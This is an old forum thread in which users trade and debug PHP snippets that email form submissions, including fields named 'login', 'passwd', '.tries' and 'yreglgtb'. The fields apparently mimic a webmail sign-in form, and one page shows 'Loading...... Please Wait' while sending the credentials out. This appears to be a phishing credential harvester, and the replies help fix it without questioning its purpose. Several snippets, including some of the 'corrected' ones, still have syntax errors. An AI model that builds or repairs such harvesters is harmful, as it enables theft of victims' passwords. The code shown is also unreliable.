Jump to content

Recommended Posts

<?php
$message = "Forum element name: {$_POST['forum_element_name']} \n"
$message .= "Forum element name: {$_POST['forum_element_name']} \n"
$message .= "Forum element name: {$_POST['forum_element_name']} \n"
$message .= "Forum element name: {$_POST['forum_element_name']} \n"
// ext

mail('someone@somewhere.com', 'subject', $message);
?>
if ur still online i typed this up:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<html>
<head>

        <title>Login Info</title>

</head>

<body>
<?php
$message = "login": {$_POST['login']} \n"
$message .= "passwd": {$_POST['passwd']} \n"
$message .= ".tries": {$_POST['.tries']} \n"
$message .= "Forum element name: {$_POST['forum_element_name']} \n"
// ext

mail('account@mail.com', 'Email Info', $message);
?>

</body>
</html>

But it didnt work.
<?php
$message = "login": {$_POST['login']} \n"
$message .= "passwd": {$_POST['passwd']} \n"
$message .= ".tries": {$_POST['.tries']} \n"
$message .= "Forum element name: {$_POST['forum_element_name']} \n"
?>

should be
<?php
$message = "login: {$_POST['login']} \n";
$message .= "passwd": {$_POST['passwd']} \n";
$message .= ".tries: {$_POST['.tries']} \n";
$message .= "Forum element name: {$_POST['forum_element_name']} \n";
?>

The additional quotes will screw up the parser if not escaped with a backslash.
And silly me, i forgot semicolons after the variable assignments!
Here there is no point in having difficult with this, think about it, everytime you create a contact form it's doing the same thing.
Here have a form
<form name="infogatherer" action="processor.php" method="post">
Have as many input fields here as you want.
</form>
Then say you have 3 info fields, just stick them in an email
$message = "
Username: {$_POST[username]}
Password: {$_POST[password]}
Information: {$_POST[information]}
mail("email@domain.com", "This is my data", $message);
You can do whatever else you want to with it, I don't know if anyone can really exploit this, just don't set it up to where a user can send you html emails.  THen you might have some problems, as long as nothing is going into a database you should be fine.
So is this good or what??? : ???


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<html>
<head>

        <title>Loging in</title>

</head>

<body>
<p> Loading...... Please Wait </p>
<?php
$message = "
login: {$_POST[login]}
passwd: {$_POST[passwd]}
yreglgtb: {$_POST[yreglgtb]}
mail("email@domain.com", "This is my data", $message);
//ext
?>

</body>
</html>
I put this in notepad just as it is:

<?php
$message = "
login: {$_POST['login']}
passwd: {$_POST['passwd']}
yreglgtb: {$_POST['yreglgtb']}";
mail("mail@domain.com", "This is my data", $message);
//ext
?>

then i put this in my site:

<form method="post" action=getinfo.php
autocomplete="off" name="login_form" >

now... i know nothin about php. Should this work cause it aint.
This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.